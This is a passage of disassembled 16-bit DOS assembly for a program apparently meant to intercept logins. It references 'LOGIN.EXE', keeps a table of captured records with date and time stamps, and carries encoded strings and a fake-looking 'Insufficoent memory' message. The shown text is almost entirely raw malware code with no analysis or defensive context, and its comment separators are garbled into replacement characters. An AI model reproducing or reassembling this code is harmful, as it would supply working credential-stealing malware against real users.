cmp cs:data_53,ax ;(8002:0C0C=0)
|
|||
|
ja loc_66 ;Jump if above
|
|||
|
mov ax,cs:data_51 ;(8002:0C08=0)
|
|||
|
cmp cs:[si+22h],ax
|
|||
|
nop
|
|||
|
jc loc_66 ;Jump if carry Set
|
|||
|
mov ax,cs:data_52 ;(8002:0C0A=0)
|
|||
|
cmp cs:[si+24h],ax
|
|||
|
nop
|
|||
|
ja loc_65 ;Jump if above
|
|||
|
loc_66:
|
|||
|
mov ax,cs:data_57 ;(8002:0C14=0)
|
|||
|
inc ax
|
|||
|
mov cs:data_56,ax ;(8002:0C12=0)
|
|||
|
mov ax,cs:data_20e[si] ;(8002:0020=0)
|
|||
|
mov cs:data_53,ax ;(8002:0C0C=0)
|
|||
|
mov ax,cs:[si+22h]
|
|||
|
mov cs:data_54,ax ;(8002:0C0E=0)
|
|||
|
mov ax,cs:[si+24h]
|
|||
|
mov cs:data_55,ax ;(8002:0C10=0)
|
|||
|
jmp short loc_65 ;(09D2)
|
|||
|
loc_67:
|
|||
|
dec cs:data_57 ;(8002:0C14=0)
|
|||
|
jnz loc_68 ;Jump if not zero
|
|||
|
jmp loc_62 ;(09B2)
|
|||
|
loc_68:
|
|||
|
mov si,981h
|
|||
|
mov ax,26h
|
|||
|
mul cs:data_57 ;(8002:0C14=0) ax = data * ax
|
|||
|
add ax,26h
|
|||
|
add si,ax
|
|||
|
mov ax,cs:data_20e[si] ;(8002:0020=0)
|
|||
|
or ax,ax ;Zero ?
|
|||
|
jz loc_67 ;Jump if zero
|
|||
|
mov ax,cs:data_57 ;(8002:0C14=0)
|
|||
|
inc ax
|
|||
|
inc ax
|
|||
|
mov cs:data_56,ax ;(8002:0C12=0)
|
|||
|
jmp loc_62 ;(09B2)
|
|||
|
|
|||
|
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; SUBROUTINE
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
sub_16: mov ah,2Ah ;'*'
|
|||
|
call sub_7 ;(0229)
|
|||
|
mov cs:data_50,cx ;(8002:0C06=0)
|
|||
|
mov cs:data_51,dx ;(8002:0C08=0)
|
|||
|
mov ah,2Ch ;','
|
|||
|
call sub_7 ;(0229)
|
|||
|
mov cs:data_52,cx ;(8002:0C0A=0)
|
|||
|
retn
|
|||
|
|
|||
|
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; SUBROUTINE
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
sub_17: push cs
|
|||
|
pop ax
|
|||
|
mov es,ax
|
|||
|
mov ds,ax
|
|||
|
mov cs:data_56,0 ;(8002:0C12=0)
|
|||
|
loc_69:
|
|||
|
mov di,981h
|
|||
|
mov ax,26h
|
|||
|
mul cs:data_56 ;(8002:0C12=0) ax = data * ax
|
|||
|
add di,ax
|
|||
|
mov si,0BE6h
|
|||
|
loc_70:
|
|||
|
mov al,[si]
|
|||
|
cld ;Clear direction
|
|||
|
cmpsb ;Cmp [si] to es:[di]
|
|||
|
jnz loc_71 ;Jump if not zero
|
|||
|
cmp al,6Fh ;'o'
|
|||
|
jne loc_70 ;Jump if not equal
|
|||
|
retn
|
|||
|
loc_71:
|
|||
|
inc cs:data_56 ;(8002:0C12=0)
|
|||
|
cmp cs:data_56,0Fh ;(8002:0C12=0)
|
|||
|
jne loc_69 ;Jump if not equal
|
|||
|
retn
|
|||
|
|
|||
|
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; SUBROUTINE
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
sub_18: mov ax,cs:data_56 ;(8002:0C12=0)
|
|||
|
or ax,ax ;Zero ?
|
|||
|
jz loc_73 ;Jump if zero
|
|||
|
mov ax,26h
|
|||
|
mul cs:data_56 ;(8002:0C12=0) ax = data * ax
|
|||
|
mov cx,ax
|
|||
|
add ax,9A7h
|
|||
|
dec ax
|
|||
|
mov di,ax
|
|||
|
sub ax,26h
|
|||
|
mov si,ax
|
|||
|
std ;Set direction flag
|
|||
|
rep movsb ;Rep when cx >0 Mov [si] to es:[di]
|
|||
|
mov si,0BE6h
|
|||
|
mov di,9A7h
|
|||
|
mov cx,26h
|
|||
|
loc_72:
|
|||
|
cld ;Clear direction
|
|||
|
rep movsb ;Rep when cx >0 Mov [si] to es:[di]
|
|||
|
retn
|
|||
|
loc_73:
|
|||
|
mov si,0BF6h
|
|||
|
mov di,991h
|
|||
|
mov cx,16h
|
|||
|
jmp short loc_72 ;(0AD9)
|
|||
|
|
|||
|
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; SUBROUTINE
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
sub_19: push cs
|
|||
|
pop ds
|
|||
|
mov si,6Ah
|
|||
|
add si,bx
|
|||
|
mov di,6Ah
|
|||
|
mov cx,0B7Bh
|
|||
|
rep movsb ;Rep when cx >0 Mov [si] to es:[di]
|
|||
|
retn
|
|||
|
|
|||
|
db 'LOGIN.EXE'
|
|||
|
db 0B5h, 0B7h, 0B2h, 0A7h, 0B4h, 0B8h
|
|||
|
db 0ABh, 0B5h, 0B1h, 0B4h, 6Fh, 0
|
|||
|
db 0, 0, 0, 0, 6Fh, 0A7h
|
|||
|
db 0B5h, 0AEh, 0B1h
|
|||
|
db 6Fh
|
|||
|
db 10 dup (0)
|
|||
|
db 0C7h, 7, 0Ah, 0Ch, 0Bh, 8
|
|||
|
db 32 dup (0)
|
|||
|
db 0C7h, 7, 0Bh, 9, 35h, 6
|
|||
|
db 'and', 0Dh, 0Ah, '$'
|
|||
|
db 0Dh, 0Ah, 'Insufficoent memory fo'
|
|||
|
db 'r '
|
|||
|
db 0C7h, 7, 11h, 6, 0, 0Eh
|
|||
|
db 0, 0
|
|||
|
db 112 dup (0)
|
|||
|
timer_count db 0
|
|||
|
data_48 db 0
|
|||
|
db 15 dup (0)
|
|||
|
data_49 db 0
|
|||
|
db 15 dup (0)
|
|||
|
data_50 dw 0
|
|||
|
data_51 dw 0
|
|||
|
data_52 dw 0
|
|||
|
data_53 dw 0
|
|||
|
data_54 dw 0
|
|||
|
data_55 dw 0
|
|||
|
data_56 dw 0
|
|||
|
data_57 dw 0
|
|||
|
data_58 db 0
|
|||
|
data_59 db 0
|
|||
|
db 329 dup (0)
|
|||
|
db 62h, 62h, 1, 0
|
|||
|
|
|||
|
newcom ends
|
|||
|
end start
|
|||
|
|